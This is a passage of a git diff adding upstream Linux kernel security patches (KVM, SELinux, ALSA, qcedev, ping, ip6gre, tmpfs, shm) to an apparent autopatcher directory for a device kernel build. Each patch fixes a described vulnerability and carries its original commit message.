SYSRQ_DEFAULT_ENABLE 1 ++#define SYSRQ_DEFAULT_ENABLE 0 + + /* Possible values of bitmask for enabling sysrq functions */ + /* 0x0001 is reserved for enable everything */ diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0343.diff b/recipes-kernel/linux/linux-bass/autopatcher/0343.diff new file mode 100644 index 0000000..b1a9e52 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0343.diff @@ -0,0 +1,14 @@ +diff --git a/kernel/fork.c b/kernel/fork.c +index 2b11e38..b6eecda 100644 +--- a/kernel/fork.c ++++ b/kernel/fork.c +@@ -725,8 +725,7 @@ + + mm = get_task_mm(task); + if (mm && mm != current->mm && +- !ptrace_may_access(task, mode) && +- !capable(CAP_SYS_RESOURCE)) { ++ !ptrace_may_access(task, mode)) { + mmput(mm); + mm = ERR_PTR(-EACCES); + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0344-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch b/recipes-kernel/linux/linux-bass/autopatcher/0344-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch new file mode 100644 index 0000000..0bb69f9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0344-43ff88a83363-PATCH ASoC msm qdspv2 add result check when audio process fail.patch @@ -0,0 +1,41 @@ +From 43ff88a8336310e665941dea6ffec77cc8314706 Mon Sep 17 00:00:00 2001 +From: kunleiz +Date: Fri, 14 Apr 2017 10:28:42 +0800 +Subject: [PATCH] ASoC: msm: qdspv2: add result check when audio process fail + +A audio_process_event_req is not always to success. Therefore, +check the return value for audio_process_event_req, and +initializ usr_evt before using it. + +CRs-Fixed: 2029798 +Bug: 35764875 +Change-Id: I4adf682575f5f9233a1a1a533f9c6361af8a5bcf +Signed-off-by: kunleiz +--- + drivers/misc/qcom/qdsp6v2/audio_utils_aio.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +index ea1cb510a97fa..59f40806ee2be 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +@@ -842,6 +842,7 @@ static long audio_aio_process_event_req_compat(struct q6audio_aio *audio, + long rc; + struct msm_audio_event32 usr_evt_32; + struct msm_audio_event usr_evt; ++ memset(&usr_evt, 0, sizeof(struct msm_audio_event)); + + if (copy_from_user(&usr_evt_32, arg, + sizeof(struct msm_audio_event32))) { +@@ -851,6 +852,11 @@ static long audio_aio_process_event_req_compat(struct q6audio_aio *audio, + usr_evt.timeout_ms = usr_evt_32.timeout_ms; + + rc = audio_aio_process_event_req_common(audio, &usr_evt); ++ if (rc < 0) { ++ pr_err("%s: audio process event failed, rc = %ld", ++ __func__, rc); ++ return rc; ++ } + + usr_evt_32.event_type = usr_evt.event_type; + switch (usr_evt_32.event_type) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0345-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch b/recipes-kernel/linux/linux-bass/autopatcher/0345-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch new file mode 100644 index 0000000..1bc956f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0345-ee4aa31b9f24-PATCH qcdev Check the digest length during the SHA operations.patch @@ -0,0 +1,47 @@ +From ee4aa31b9f24c28064e509e22c1f9013df768f5f Mon Sep 17 00:00:00 2001 +From: Dennis Cagle +Date: Wed, 31 May 2017 16:28:01 -0700 +Subject: [PATCH] qcdev: Check the digest length during the SHA operations + +Check the digest length to avoid buffer overflow while +doing the SHA operations. + +Bug: 36591162 +CRs-Fixed: 2045061 +Change-Id: I4d3fb20723f59e905a672edaf84ee5d0865905b1 +Signed-off-by: Brahmaji K +Signed-off-by: Dennis Cagle +--- + drivers/crypto/msm/qcedev.c | 12 ++++++++++++ + 1 file changed, 12 insertions(+) + +diff --git a/drivers/crypto/msm/qcedev.c b/drivers/crypto/msm/qcedev.c +index ef4b5e15b4fad..f42d19a5cf59e 100644 +--- a/drivers/crypto/msm/qcedev.c ++++ b/drivers/crypto/msm/qcedev.c +@@ -1709,6 +1709,12 @@ long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg) + err = qcedev_hash_final(&qcedev_areq, handle); + if (err) + return err; ++ ++ if (handle->sha_ctxt.diglen > QCEDEV_MAX_SHA_DIGEST) { ++ pr_err("Invalid sha_ctxt.diglen %d\n", ++ handle->sha_ctxt.diglen); ++ return -EINVAL; ++ } + qcedev_areq.sha_op_req.diglen = handle->sha_ctxt.diglen; + memcpy(&qcedev_areq.sha_op_req.digest[0], + &handle->sha_ctxt.digest[0], +@@ -1737,6 +1743,12 @@ long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg) + err = qcedev_hash_final(&qcedev_areq, handle); + if (err) + return err; ++ ++ if (handle->sha_ctxt.diglen > QCEDEV_MAX_SHA_DIGEST) { ++ pr_err("Invalid sha_ctxt.diglen %d\n", ++ handle->sha_ctxt.diglen); ++ return -EINVAL; ++ } + qcedev_areq.sha_op_req.diglen = handle->sha_ctxt.diglen; + memcpy(&qcedev_areq.sha_op_req.digest[0], + &handle->sha_ctxt.digest[0], diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0346-93533f313a1b-PATCH ALSA pcm prevent UAF in sndpcminfo.patch b/recipes-kernel/linux/linux-bass/autopatcher/0346-93533f313a1b-PATCH ALSA pcm prevent UAF in sndpcminfo.patch new file mode 100644 index 0000000..7d72b4b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0346-93533f313a1b-PATCH ALSA pcm prevent UAF in sndpcminfo.patch @@ -0,0 +1,32 @@ +From 93533f313a1bf465ff8c33032e91b88315dcf9bf Mon Sep 17 00:00:00 2001 +From: Robb Glasser +Date: Fri, 11 Aug 2017 11:33:31 -0700 +Subject: [PATCH] ALSA: pcm: prevent UAF in snd_pcm_info + +When the device descriptor is closed, the `substream->runtime` pointer +is freed. But another thread may be in the ioctl handler, case +SNDRV_CTL_IOCTL_PCM_INFO. This case calls snd_pcm_info_user() which +calls snd_pcm_info() which accesses the now freed `substream->runtime`. + +Bug: 36006981 +Signed-off-by: Robb Glasser +Signed-off-by: Nick Desaulniers +Change-Id: I445d24bc21dc0af6d9522a8daabe64969042236a +--- + sound/core/pcm.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/sound/core/pcm.c b/sound/core/pcm.c +index 0ad1231c15372..6548b3af383fa 100644 +--- a/sound/core/pcm.c ++++ b/sound/core/pcm.c +@@ -150,7 +150,9 @@ static int snd_pcm_control_ioctl(struct snd_card *card, + err = -ENXIO; + goto _error; + } ++ mutex_lock(&pcm->open_mutex); + err = snd_pcm_info_user(substream, info); ++ mutex_unlock(&pcm->open_mutex); + _error: + mutex_unlock(®ister_mutex); + return err; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0347-19384322b5b5-PATCH ANDROID input keychord fix race condition bug.patch b/recipes-kernel/linux/linux-bass/autopatcher/0347-19384322b5b5-PATCH ANDROID input keychord fix race condition bug.patch new file mode 100644 index 0000000..31c5386 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0347-19384322b5b5-PATCH ANDROID input keychord fix race condition bug.patch @@ -0,0 +1,28 @@ +From 19384322b5b51987bd6037f7a6b18a62a5d4d654 Mon Sep 17 00:00:00 2001 +From: Jianqiang Zhao +Date: Mon, 6 Mar 2017 16:33:42 +0800 +Subject: [PATCH] ANDROID: input: keychord: fix race condition bug + +Change-Id: I9c7c759c99e21cad9a7f9a09128122bf6ae11302 +Signed-off-by: Jianqiang Zhao +Bug: 36006779 +--- + drivers/input/misc/keychord.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/input/misc/keychord.c b/drivers/input/misc/keychord.c +index a5ea27ad0e16c..f580edf1c87ce 100644 +--- a/drivers/input/misc/keychord.c ++++ b/drivers/input/misc/keychord.c +@@ -300,8 +300,10 @@ static ssize_t keychord_write(struct file *file, const char __user *buffer, + + ret = input_register_handler(&kdev->input_handler); + if (ret) { +- kfree(keychords); ++ spin_lock_irqsave(&kdev->lock, flags); ++ kfree(kdev->keychords); + kdev->keychords = 0; ++ spin_unlock_irqrestore(&kdev->lock, flags); + return ret; + } + kdev->registered = 1; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0348-2dd7d7e46d79-KVM x86 fix emulation of MOV SS null selector.patch b/recipes-kernel/linux/linux-bass/autopatcher/0348-2dd7d7e46d79-KVM x86 fix emulation of MOV SS null selector.patch new file mode 100644 index 0000000..fb8ac48 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0348-2dd7d7e46d79-KVM x86 fix emulation of MOV SS null selector.patch @@ -0,0 +1,112 @@ +From 2dd7d7e46d791e8a6f85197510a95acae11dbc5b Mon Sep 17 00:00:00 2001 +From: Paolo Bonzini +Date: Thu, 12 Jan 2017 15:02:32 +0100 +Subject: KVM: x86: fix emulation of "MOV SS, null selector" + +commit 33ab91103b3415e12457e3104f0e4517ce12d0f3 upstream. + +This is CVE-2017-2583. On Intel this causes a failed vmentry because +SS's type is neither 3 nor 7 (even though the manual says this check is +only done for usable SS, and the dmesg splat says that SS is unusable!). +On AMD it's worse: svm.c is confused and sets CPL to 0 in the vmcb. + +The fix fabricates a data segment descriptor when SS is set to a null +selector, so that CPL and SS.DPL are set correctly in the VMCS/vmcb. +Furthermore, only allow setting SS to a NULL selector if SS.RPL < 3; +this in turn ensures CPL < 3 because RPL must be equal to CPL. + +Thanks to Andy Lutomirski and Willy Tarreau for help in analyzing +the bug and deciphering the manuals. + +[js] backport to 3.12 + +Reported-by: Xiaohan Zhang +Fixes: 79d5b4c3cd809c770d4bf9812635647016c56011 +Signed-off-by: Paolo Bonzini +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + arch/x86/kvm/emulate.c | 48 ++++++++++++++++++++++++++++++++++++++---------- + 1 file changed, 38 insertions(+), 10 deletions(-) + +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index ddad189e596e6..364f020a5d68d 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -1599,7 +1599,6 @@ static int write_segment_descriptor(struct x86_emulate_ctxt *ctxt, + &ctxt->exception); + } + +-/* Does not support long mode */ + static int load_segment_descriptor(struct x86_emulate_ctxt *ctxt, + u16 selector, int seg) + { +@@ -1612,6 +1611,21 @@ static int load_segment_descriptor(struct x86_emulate_ctxt *ctxt, + int ret; + u16 dummy; + ++ ++ /* ++ * None of MOV, POP and LSS can load a NULL selector in CPL=3, but ++ * they can load it at CPL<3 (Intel's manual says only LSS can, ++ * but it's wrong). ++ * ++ * However, the Intel manual says that putting IST=1/DPL=3 in ++ * an interrupt gate will result in SS=3 (the AMD manual instead ++ * says it doesn't), so allow SS=3 in __load_segment_descriptor ++ * and only forbid it here. ++ */ ++ if (seg == VCPU_SREG_SS && selector == 3 && ++ ctxt->mode == X86EMUL_MODE_PROT64) ++ return emulate_exception(ctxt, GP_VECTOR, 0, true); ++ + memset(&seg_desc, 0, sizeof seg_desc); + + if (ctxt->mode == X86EMUL_MODE_REAL) { +@@ -1634,20 +1648,34 @@ static int load_segment_descriptor(struct x86_emulate_ctxt *ctxt, + rpl = selector & 3; + cpl = ctxt->ops->cpl(ctxt); + +- /* NULL selector is not valid for TR, CS and SS (except for long mode) */ +- if ((seg == VCPU_SREG_CS +- || (seg == VCPU_SREG_SS +- && (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl)) +- || seg == VCPU_SREG_TR) +- && null_selector) +- goto exception; +- + /* TR should be in GDT only */ + if (seg == VCPU_SREG_TR && (selector & (1 << 2))) + goto exception; + +- if (null_selector) /* for NULL selector skip all following checks */ ++ /* NULL selector is not valid for TR, CS and (except for long mode) SS */ ++ if (null_selector) { ++ if (seg == VCPU_SREG_CS || seg == VCPU_SREG_TR) ++ goto exception; ++ ++ if (seg == VCPU_SREG_SS) { ++ if (ctxt->mode != X86EMUL_MODE_PROT64 || rpl != cpl) ++ goto exception; ++ ++ /* ++ * ctxt->ops->set_segment expects the CPL to be in ++ * SS.DPL, so fake an expand-up 32-bit data segment. ++ */ ++ seg_desc.type = 3; ++ seg_desc.p = 1; ++ seg_desc.s = 1; ++ seg_desc.dpl = cpl; ++ seg_desc.d = 1; ++ seg_desc.g = 1; ++ } ++ ++ /* Skip all following checks */ + goto load; ++ } + + ret = read_segment_descriptor(ctxt, selector, &seg_desc, &desc_addr); + if (ret != X86EMUL_CONTINUE) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0349-27bf4b6e27ba-KVM x86 Introduce segmentedwritestd.patch b/recipes-kernel/linux/linux-bass/autopatcher/0349-27bf4b6e27ba-KVM x86 Introduce segmentedwritestd.patch new file mode 100644 index 0000000..1fe1169 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0349-27bf4b6e27ba-KVM x86 Introduce segmentedwritestd.patch @@ -0,0 +1,67 @@ +From 27bf4b6e27baa89d93ce9f2da7878e126748d721 Mon Sep 17 00:00:00 2001 +From: Steve Rutherford +Date: Wed, 11 Jan 2017 18:28:29 -0800 +Subject: KVM: x86: Introduce segmented_write_std + +commit 129a72a0d3c8e139a04512325384fe5ac119e74d upstream. + +Introduces segemented_write_std. + +Switches from emulated reads/writes to standard read/writes in fxsave, +fxrstor, sgdt, and sidt. This fixes CVE-2017-2584, a longstanding +kernel memory leak. + +Since commit 283c95d0e389 ("KVM: x86: emulate FXSAVE and FXRSTOR", +2016-11-09), which is luckily not yet in any final release, this would +also be an exploitable kernel memory *write*! + +Reported-by: Dmitry Vyukov +Fixes: 96051572c819194c37a8367624b285be10297eca +Fixes: 283c95d0e3891b64087706b344a4b545d04a6e62 +Suggested-by: Paolo Bonzini +Signed-off-by: Steve Rutherford +Signed-off-by: Paolo Bonzini +Signed-off-by: Willy Tarreau +--- + arch/x86/kvm/emulate.c | 18 ++++++++++++++++-- + 1 file changed, 16 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index 364f020a5d68..c96485054f6b 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -906,6 +906,20 @@ static int segmented_read_std(struct x86_emulate_ctxt *ctxt, + return ctxt->ops->read_std(ctxt, linear, data, size, &ctxt->exception); + } + ++static int segmented_write_std(struct x86_emulate_ctxt *ctxt, ++ struct segmented_address addr, ++ void *data, ++ unsigned int size) ++{ ++ int rc; ++ ulong linear; ++ ++ rc = linearize(ctxt, addr, size, true, &linear); ++ if (rc != X86EMUL_CONTINUE) ++ return rc; ++ return ctxt->ops->write_std(ctxt, linear, data, size, &ctxt->exception); ++} ++ + /* + * Fetch the next byte of the instruction being emulated which is pointed to + * by ctxt->_eip, then increment ctxt->_eip. +@@ -3361,8 +3375,8 @@ static int emulate_store_desc_ptr(struct x86_emulate_ctxt *ctxt, + } + /* Disable writeback. */ + ctxt->dst.type = OP_NONE; +- return segmented_write(ctxt, ctxt->dst.addr.mem, +- &desc_ptr, 2 + ctxt->op_bytes); ++ return segmented_write_std(ctxt, ctxt->dst.addr.mem, ++ &desc_ptr, 2 + ctxt->op_bytes); + } + + static int em_sgdt(struct x86_emulate_ctxt *ctxt) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0350-a71b4196a72f-selinux fix offbyone in setprocattr.patch b/recipes-kernel/linux/linux-bass/autopatcher/0350-a71b4196a72f-selinux fix offbyone in setprocattr.patch new file mode 100644 index 0000000..e09a0a4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0350-a71b4196a72f-selinux fix offbyone in setprocattr.patch @@ -0,0 +1,67 @@ +From a71b4196a72f09ed223d8140de7fd47ccdaf6e2b Mon Sep 17 00:00:00 2001 +From: Stephen Smalley +Date: Tue, 31 Jan 2017 11:54:04 -0500 +Subject: selinux: fix off-by-one in setprocattr + +commit 0c461cb727d146c9ef2d3e86214f498b78b7d125 upstream. + +SELinux tries to support setting/clearing of /proc/pid/attr attributes +from the shell by ignoring terminating newlines and treating an +attribute value that begins with a NUL or newline as an attempt to +clear the attribute. However, the test for clearing attributes has +always been wrong; it has an off-by-one error, and this could further +lead to reading past the end of the allocated buffer since commit +bb646cdb12e75d82258c2f2e7746d5952d3e321a ("proc_pid_attr_write(): +switch to memdup_user()"). Fix the off-by-one error. + +Even with this fix, setting and clearing /proc/pid/attr attributes +from the shell is not straightforward since the interface does not +support multiple write() calls (so shells that write the value and +newline separately will set and then immediately clear the attribute, +requiring use of echo -n to set the attribute), whereas trying to use +echo -n "" to clear the attribute causes the shell to skip the +write() call altogether since POSIX says that a zero-length write +causes no side effects. Thus, one must use echo -n to set and echo +without -n to clear, as in the following example: +$ echo -n unconfined_u:object_r:user_home_t:s0 > /proc/$$/attr/fscreate +$ cat /proc/$$/attr/fscreate +unconfined_u:object_r:user_home_t:s0 +$ echo "" > /proc/$$/attr/fscreate +$ cat /proc/$$/attr/fscreate + +Note the use of /proc/$$ rather than /proc/self, as otherwise +the cat command will read its own attribute value, not that of the shell. + +There are no users of this facility to my knowledge; possibly we +should just get rid of it. + +UPDATE: Upon further investigation it appears that a local process +with the process:setfscreate permission can cause a kernel panic as a +result of this bug. This patch fixes CVE-2017-2618. + +Signed-off-by: Stephen Smalley +[PM: added the update about CVE-2017-2618 to the commit description] +Signed-off-by: Paul Moore +Signed-off-by: Jiri Slaby +Signed-off-by: James Morris +Signed-off-by: Willy Tarreau +--- + security/selinux/hooks.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c +index fdd6e4f8be392..c08d4a10b07e1 100644 +--- a/security/selinux/hooks.c ++++ b/security/selinux/hooks.c +@@ -5442,7 +5442,7 @@ static int selinux_setprocattr(struct task_struct *p, + return error; + + /* Obtain a SID for the context, if one was specified. */ +- if (size && str[1] && str[1] != '\n') { ++ if (size && str[0] && str[0] != '\n') { + if (str[size-1] == '\n') { + str[size-1] = 0; + size--; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0351-43a6684519ab-ping implement proper locking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0351-43a6684519ab-ping implement proper locking.patch new file mode 100644 index 0000000..702ce50 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0351-43a6684519ab-ping implement proper locking.patch @@ -0,0 +1,53 @@ +From 43a6684519ab0a6c52024b5e25322476cabad893 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 24 Mar 2017 19:36:13 -0700 +Subject: ping: implement proper locking + +We got a report of yet another bug in ping + +http://www.openwall.com/lists/oss-security/2017/03/24/6 + +->disconnect() is not called with socket lock held. + +Fix this by acquiring ping rwlock earlier. + +Thanks to Daniel, Alexander and Andrey for letting us know this problem. + +Fixes: c319b4d76b9e ("net: ipv4: add IPPROTO_ICMP socket kind") +Signed-off-by: Eric Dumazet +Reported-by: Daniel Jiang +Reported-by: Solar Designer +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +--- + net/ipv4/ping.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c +index 2af6244b83e2..ccfbce13a633 100644 +--- a/net/ipv4/ping.c ++++ b/net/ipv4/ping.c +@@ -156,17 +156,18 @@ int ping_hash(struct sock *sk) + void ping_unhash(struct sock *sk) + { + struct inet_sock *isk = inet_sk(sk); ++ + pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); ++ write_lock_bh(&ping_table.lock); + if (sk_hashed(sk)) { +- write_lock_bh(&ping_table.lock); + hlist_nulls_del(&sk->sk_nulls_node); + sk_nulls_node_init(&sk->sk_nulls_node); + sock_put(sk); + isk->inet_num = 0; + isk->inet_sport = 0; + sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); +- write_unlock_bh(&ping_table.lock); + } ++ write_unlock_bh(&ping_table.lock); + } + EXPORT_SYMBOL_GPL(ping_unhash); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0352-b031f56c69b9-USB serial kl5kusb105 fix linestate error handling.patch b/recipes-kernel/linux/linux-bass/autopatcher/0352-b031f56c69b9-USB serial kl5kusb105 fix linestate error handling.patch new file mode 100644 index 0000000..383385a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0352-b031f56c69b9-USB serial kl5kusb105 fix linestate error handling.patch @@ -0,0 +1,43 @@ +From b031f56c69b9a8379bdff54ad2467f4cce43f3d1 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Tue, 10 Jan 2017 12:05:37 +0100 +Subject: USB: serial: kl5kusb105: fix line-state error handling + +commit 146cc8a17a3b4996f6805ee5c080e7101277c410 upstream. + +The current implementation failed to detect short transfers when +attempting to read the line state, and also, to make things worse, +logged the content of the uninitialised heap transfer buffer. + +Fixes: abf492e7b3ae ("USB: kl5kusb105: fix DMA buffers on stack") +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hovold +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/kl5kusb105.c | 9 +++++---- + 1 file changed, 5 insertions(+), 4 deletions(-) + +diff --git a/drivers/usb/serial/kl5kusb105.c b/drivers/usb/serial/kl5kusb105.c +index 69eb056dd6eaf..b6794baf0a3bc 100644 +--- a/drivers/usb/serial/kl5kusb105.c ++++ b/drivers/usb/serial/kl5kusb105.c +@@ -198,10 +198,11 @@ static int klsi_105_get_line_state(struct usb_serial_port *port, + status_buf, KLSI_STATUSBUF_LEN, + 10000 + ); +- if (rc < 0) +- dev_err(&port->dev, "Reading line status failed (error = %d)\n", +- rc); +- else { ++ if (rc != KLSI_STATUSBUF_LEN) { ++ dev_err(&port->dev, "reading line status failed: %d\n", rc); ++ if (rc >= 0) ++ rc = -EIO; ++ } else { + status = get_unaligned_le16(status_buf); + + dev_info(&port->serial->dev->dev, "read status %x %x", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0353-1026a8ce24e2-tmpfs clear SISGID when setting posix ACLs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0353-1026a8ce24e2-tmpfs clear SISGID when setting posix ACLs.patch new file mode 100644 index 0000000..94c05c4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0353-1026a8ce24e2-tmpfs clear SISGID when setting posix ACLs.patch @@ -0,0 +1,60 @@ +From 1026a8ce24e2598dbde2882b8b56fcfa48a2c43c Mon Sep 17 00:00:00 2001 +From: Gu Zheng +Date: Mon, 9 Jan 2017 09:34:48 +0800 +Subject: tmpfs: clear S_ISGID when setting posix ACLs + +commit 497de07d89c1410d76a15bec2bb41f24a2a89f31 upstream. + +This change was missed the tmpfs modification in In CVE-2016-7097 +commit 073931017b49 ("posix_acl: Clear SGID bit when setting +file permissions") +It can test by xfstest generic/375, which failed to clear +setgid bit in the following test case on tmpfs: + + touch $testfile + chown 100:100 $testfile + chmod 2755 $testfile + _runas -u 100 -g 101 -- setfacl -m u::rwx,g::rwx,o::rwx $testfile + +Signed-off-by: Gu Zheng +Signed-off-by: Al Viro +Signed-off-by: Jan Kara +Signed-off-by: Willy Tarreau +--- + fs/generic_acl.c | 12 +++++++----- + 1 file changed, 7 insertions(+), 5 deletions(-) + +diff --git a/fs/generic_acl.c b/fs/generic_acl.c +index b3f3676796d31..7855cfb938f6a 100644 +--- a/fs/generic_acl.c ++++ b/fs/generic_acl.c +@@ -82,19 +82,21 @@ generic_acl_set(struct dentry *dentry, const char *name, const void *value, + return PTR_ERR(acl); + } + if (acl) { ++ struct posix_acl *old_acl; ++ + error = posix_acl_valid(acl); + if (error) + goto failed; + switch (type) { + case ACL_TYPE_ACCESS: +- error = posix_acl_equiv_mode(acl, &inode->i_mode); ++ old_acl = acl; ++ error = posix_acl_update_mode(inode, &inode->i_mode, ++ &acl); + if (error < 0) + goto failed; ++ if (!acl) ++ posix_acl_release(old_acl); + inode->i_ctime = CURRENT_TIME; +- if (error == 0) { +- posix_acl_release(acl); +- acl = NULL; +- } + break; + case ACL_TYPE_DEFAULT: + if (!S_ISDIR(inode->i_mode)) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0354-20bfb0a079b4-ipcshm Fix shmat mmap nilpage protection.patch b/recipes-kernel/linux/linux-bass/autopatcher/0354-20bfb0a079b4-ipcshm Fix shmat mmap nilpage protection.patch new file mode 100644 index 0000000..3c7fabf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0354-20bfb0a079b4-ipcshm Fix shmat mmap nilpage protection.patch @@ -0,0 +1,77 @@ +From 20bfb0a079b45828a5937d1e3133234f06af9223 Mon Sep 17 00:00:00 2001 +From: Davidlohr Bueso +Date: Mon, 27 Feb 2017 14:28:24 -0800 +Subject: ipc/shm: Fix shmat mmap nil-page protection + +commit 95e91b831f87ac8e1f8ed50c14d709089b4e01b8 upstream. + +The issue is described here, with a nice testcase: + + https://bugzilla.kernel.org/show_bug.cgi?id=192931 + +The problem is that shmat() calls do_mmap_pgoff() with MAP_FIXED, and +the address rounded down to 0. For the regular mmap case, the +protection mentioned above is that the kernel gets to generate the +address -- arch_get_unmapped_area() will always check for MAP_FIXED and +return that address. So by the time we do security_mmap_addr(0) things +get funky for shmat(). + +The testcase itself shows that while a regular user crashes, root will +not have a problem attaching a nil-page. There are two possible fixes +to this. The first, and which this patch does, is to simply allow root +to crash as well -- this is also regular mmap behavior, ie when hacking +up the testcase and adding mmap(... |MAP_FIXED). While this approach +is the safer option, the second alternative is to ignore SHM_RND if the +rounded address is 0, thus only having MAP_SHARED flags. This makes the +behavior of shmat() identical to the mmap() case. The downside of this +is obviously user visible, but does make sense in that it maintains +semantics after the round-down wrt 0 address and mmap. + +Passes shm related ltp tests. + +Link: http://lkml.kernel.org/r/1486050195-18629-1-git-send-email-dave@stgolabs.net +Signed-off-by: Davidlohr Bueso +Reported-by: Gareth Evans +Cc: Manfred Spraul +Cc: Michael Kerrisk +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + ipc/shm.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/ipc/shm.c b/ipc/shm.c +index 08b14f69d6cfd..ddfad445242cd 100644 +--- a/ipc/shm.c ++++ b/ipc/shm.c +@@ -1041,8 +1041,8 @@ out_unlock1: + * "raddr" thing points to kernel space, and there has to be a wrapper around + * this. + */ +-long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr, +- unsigned long shmlba) ++long do_shmat(int shmid, char __user *shmaddr, int shmflg, ++ ulong *raddr, unsigned long shmlba) + { + struct shmid_kernel *shp; + unsigned long addr; +@@ -1063,8 +1063,13 @@ long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr, + goto out; + else if ((addr = (ulong)shmaddr)) { + if (addr & (shmlba - 1)) { +- if (shmflg & SHM_RND) +- addr &= ~(shmlba - 1); /* round down */ ++ /* ++ * Round down to the nearest multiple of shmlba. ++ * For sane do_mmap_pgoff() parameters, avoid ++ * round downs that trigger nil-page and MAP_FIXED. ++ */ ++ if ((shmflg & SHM_RND) && addr >= shmlba) ++ addr &= ~(shmlba - 1); + else + #ifndef __ARCH_FORCE_SHMLBA + if (addr & ~PAGE_MASK) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0355-a05c8e396426-ip6gre fix ip6greerr invalid reads.patch b/recipes-kernel/linux/linux-bass/autopatcher/0355-a05c8e396426-ip6gre fix ip6greerr invalid reads.patch new file mode 100644 index 0000000..064a668 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0355-a05c8e396426-ip6gre fix ip6greerr invalid reads.patch @@ -0,0 +1,102 @@ +From a05c8e396426c36837798bb253140774b047600a Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 4 Feb 2017 23:18:55 -0800 +Subject: ip6_gre: fix ip6gre_err() invalid reads + +commit 7892032cfe67f4bde6fc2ee967e45a8fbaf33756 upstream. + +Andrey Konovalov reported out of bound accesses in ip6gre_err() + +If GRE flags contains GRE_KEY, the following expression +*(((__be32 *)p) + (grehlen / 4) - 1) + +accesses data ~40 bytes after the expected point, since +grehlen includes the size of IPv6 headers. + +Let's use a "struct gre_base_hdr *greh" pointer to make this +code more readable. + +p[1] becomes greh->protocol. +grhlen is the GRE header length. + +Fixes: c12b395a4664 ("gre: Support GRE over IPv6") +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/ipv6/ip6_gre.c | 41 ++++++++++++++++++++++------------------- + 1 file changed, 22 insertions(+), 19 deletions(-) + +diff --git a/net/ipv6/ip6_gre.c b/net/ipv6/ip6_gre.c +index 603f251b6ca2..ae88e17f5c72 100644 +--- a/net/ipv6/ip6_gre.c ++++ b/net/ipv6/ip6_gre.c +@@ -55,6 +55,7 @@ + #include + #include + #include ++#include + + + static bool log_ecn_error = true; +@@ -365,35 +366,37 @@ static void ip6gre_tunnel_uninit(struct net_device *dev) + + + static void ip6gre_err(struct 